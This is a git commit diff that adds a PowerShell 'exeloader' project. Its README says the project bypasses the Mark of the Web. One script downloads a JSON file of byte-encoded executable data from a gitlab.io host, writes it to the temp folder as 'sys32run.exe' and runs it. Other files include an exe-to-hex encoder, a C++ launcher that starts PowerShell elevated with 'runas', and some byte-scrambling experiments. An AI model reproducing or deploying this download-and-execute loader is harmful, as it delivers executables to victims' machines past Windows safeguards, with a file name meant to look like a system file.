migrating

This commit is contained in:
2026-05-26 22:08:21 -06:00
commit 43781ff018
30 changed files with 352 additions and 0 deletions
View File
+6
View File
@@ -0,0 +1,6 @@
$bytes = 24
[System.Security.Cryptography.RNGCryptoServiceProvider] $rng = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
$rndbytes = New-Object byte[] $bytes
$rng.GetBytes($rndbytes)
[System.IO.File]::WriteAllBytes("$PWD\test.txt", $rndbytes)
+59
View File
@@ -0,0 +1,59 @@
$ByteFile="$PWD/test.txt"
$ByteArray = [io.file]::ReadAllBytes($ByteFile)
echo "=== Original Byte Array ==="
$ByteArray
$Width = $ByteArray.Length
$Position = 0..$Width
$Buf = 0..$Width
$RetBuf = 0..$Width
$HashTab = @{}
$Count = 0
$CountRet = 0
$ScrambledPosition = $Position | Sort-Object {Get-Random}
echo "=== ScrambledPosition Original ==="
$ScrambledPosition
#$ScrambledPosition[0]
foreach($Key in $ScrambledPosition) {
#$HashTab.add($Key, $ByteArray[$Count])
#$Key
echo $Buf[$Count] = $ByteArray[$Key]
$Count++
#$buf[$PSItem]# = $ByteArray[$scrambledPosition[$PSItem]]
#$PSItem
#$ByteArray[$PSItem]
#$tem
#Write-Host "$ScrambledPosition[$Count] : $ByteArray[$PSItem]"
##$ScrambledPosition[$Count]
#[System.BitConverter]::ToString($PSItem)
}
Write-Output "=== Buf ==="
$Buf
foreach($Key in $Buf) {
$PositionRet = $ScrambledPosition[$CountRet]
#echo "$positionRet = $ScrambledPosition[$CountRet]"
#$ScrambledPosition[$Key]
#$ScrambledPosition[$CountRet]
echo 'Buf[i]:' $Buf[$PositionRet] 'i: ' $positionret
#$RetBuf[$CountRet]
#$Buf[$PositionRet]
$CountRet++
#$RetBuf[]
}
#$Buf # Scrambled bytes
#$Position # array 0..$Width
#$ByteArray # unscrambled bytes
#$ScrambledPosition # positions of scramble
#$HashTabRand = $HashTab | Sort-Object {Get-Random}
#$HashTab
#Write-Output "=== ScrambledPosition ==="
#$ScrambledPosition
Write-Output "=== ByteArray ==="
$ByteArray
#Write-Output "=== Buf ==="
#$Buf
Write-Output "=== RetBuf ==="
$RetBuf
View File
+3
View File
@@ -0,0 +1,3 @@
[Byte[]] $bytes = 0x90,0x90,0x90,0x9
[io.file]::WriteAllBytes('out.exe', $bytes)
# Get-Content('test.txt') | Format-Hex
BIN
View File
Binary file not shown.
+1
View File
File diff suppressed because one or more lines are too long
+2
View File
@@ -0,0 +1,2 @@
# Auto detect text files and perform LF normalization
* text=auto
+6
View File
@@ -0,0 +1,6 @@
# sillyfilly-exeloader
![pwnies-gonna-pwn](resources/pwnies.png)
## tl;dr
Powershell lets you download a json file with iwr (Invoke-WebRequest), and if that json file has, maybe, megabytes of byte code [like this](sillyfilly.json) that was simply an [encoded exe](shellexe/) with [this powershell silliness](encode_exe.ps1) you can just decode it, write it to tmp and execute it, bypassing the Mark of the Web.
From there... (coming soon...) (very soon...)
+25
View File
@@ -0,0 +1,25 @@
function Convert-ByteArrayToHexString
{
# props to https://www.sans.org/blog/powershell-byte-array-and-hex-functions/
[CmdletBinding()] Param (
[Parameter(Mandatory = $True)] $ByteFile)
$ByteArray = [io.file]::ReadAllBytes($ByteFile)
$Width = $ByteArray.length
$Delimiter = ",0x"
$FirstDelimiter = $Delimiter -Replace "^[\,\:\t]",""
$From = 0
$To = $Width - 1
'[[byte]] $bytes='
Do
{
$String = [System.BitConverter]::ToString($ByteArray[$From..$To])
$String = $FirstDelimiter + ($String -replace "\-",$Delimiter)
$String
$From += $Width
$To += $Width
} While ($From -lt $ByteArray.Length)
}
# example
Convert-ByteArrayToHexString "$PWD\to_encode.exe" | Out-File -FilePath .\shelly.txt
Binary file not shown.

After

Width:  |  Height:  |  Size: 540 KiB

@@ -0,0 +1,5 @@
$path='test.txt'
$bytes = [io.file]::ReadAllBytes($path)
$str = [BitConverter]::ToString($bytes) -replace '-'
echo $str
# Get-Content('test.txt') | Format-Hex
Binary file not shown.
@@ -0,0 +1,37 @@
{
"Version": 1,
"WorkspaceRootPath": "C:\\Users\\human\\source\\repos\\shellexe\\",
"Documents": [
{
"AbsoluteMoniker": "D:0:0:{60EDDBD0-4A60-4C8C-998E-71B402736EA5}|shellexe.vcxproj|C:\\Users\\human\\source\\repos\\shellexe\\Main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}",
"RelativeMoniker": "D:0:0:{60EDDBD0-4A60-4C8C-998E-71B402736EA5}|shellexe.vcxproj|solutionrelative:Main.cpp||{D0E1A5C6-B359-4E41-9B60-3365922C2A22}"
}
],
"DocumentGroupContainers": [
{
"Orientation": 0,
"VerticalTabListWidth": 256,
"DocumentGroups": [
{
"DockedWidth": 200,
"SelectedChildIndex": 0,
"Children": [
{
"$type": "Document",
"DocumentIndex": 0,
"Title": "Main.cpp",
"DocumentMoniker": "C:\\Users\\human\\source\\repos\\shellexe\\Main.cpp",
"RelativeDocumentMoniker": "Main.cpp",
"ToolTip": "C:\\Users\\human\\source\\repos\\shellexe\\Main.cpp",
"RelativeToolTip": "Main.cpp",
"ViewState": "AQIAAAAAAAAAAAAAAAAAAAYAAAAMAAAA",
"Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000677|",
"WhenOpened": "2024-07-05T23:55:40.022Z",
"EditorCaption": ""
}
]
}
]
}
]
}
+10
View File
@@ -0,0 +1,10 @@
#include <iostream>
#include <windows.h>
#include <shellapi.h>
#include <string>
#include <limits.h>
int main() {
HINSTANCE retval = ShellExecuteA(NULL, "runas", "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", NULL, NULL, SW_NORMAL);
return 0;
}
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.10.35004.147
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "shellexe", "shellexe.vcxproj", "{60EDDBD0-4A60-4C8C-998E-71B402736EA5}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Debug|x64.ActiveCfg = Debug|x64
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Debug|x64.Build.0 = Debug|x64
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Debug|x86.ActiveCfg = Debug|Win32
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Debug|x86.Build.0 = Debug|Win32
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Release|x64.ActiveCfg = Release|x64
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Release|x64.Build.0 = Release|x64
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Release|x86.ActiveCfg = Release|Win32
{60EDDBD0-4A60-4C8C-998E-71B402736EA5}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {8D0DEA54-9462-4B8A-98B4-BE2649A22A8B}
EndGlobalSection
EndGlobal
@@ -0,0 +1,135 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{60eddbd0-4a60-4c8c-998e-71b402736ea5}</ProjectGuid>
<RootNamespace>shellexe</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Main.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>
+4
View File
@@ -0,0 +1,4 @@
$j = iwr 'https://princesspi.gitlab.io/nsfvenom-front-end/sillyfilly.json' | ConvertFrom-Json
$bytes=$j.sillyfillies.split(",")
[io.file]::WriteAllBytes("$Env:Temp\sys32run.exe", $bytes)
Start-Process -FilePath "$Env:Temp\sys32run.exe"
File diff suppressed because one or more lines are too long
BIN
View File
Binary file not shown.
+1
View File
@@ -0,0 +1 @@
m—1ÅœnD³¼:ä¶ÞÊ‹ˆiUr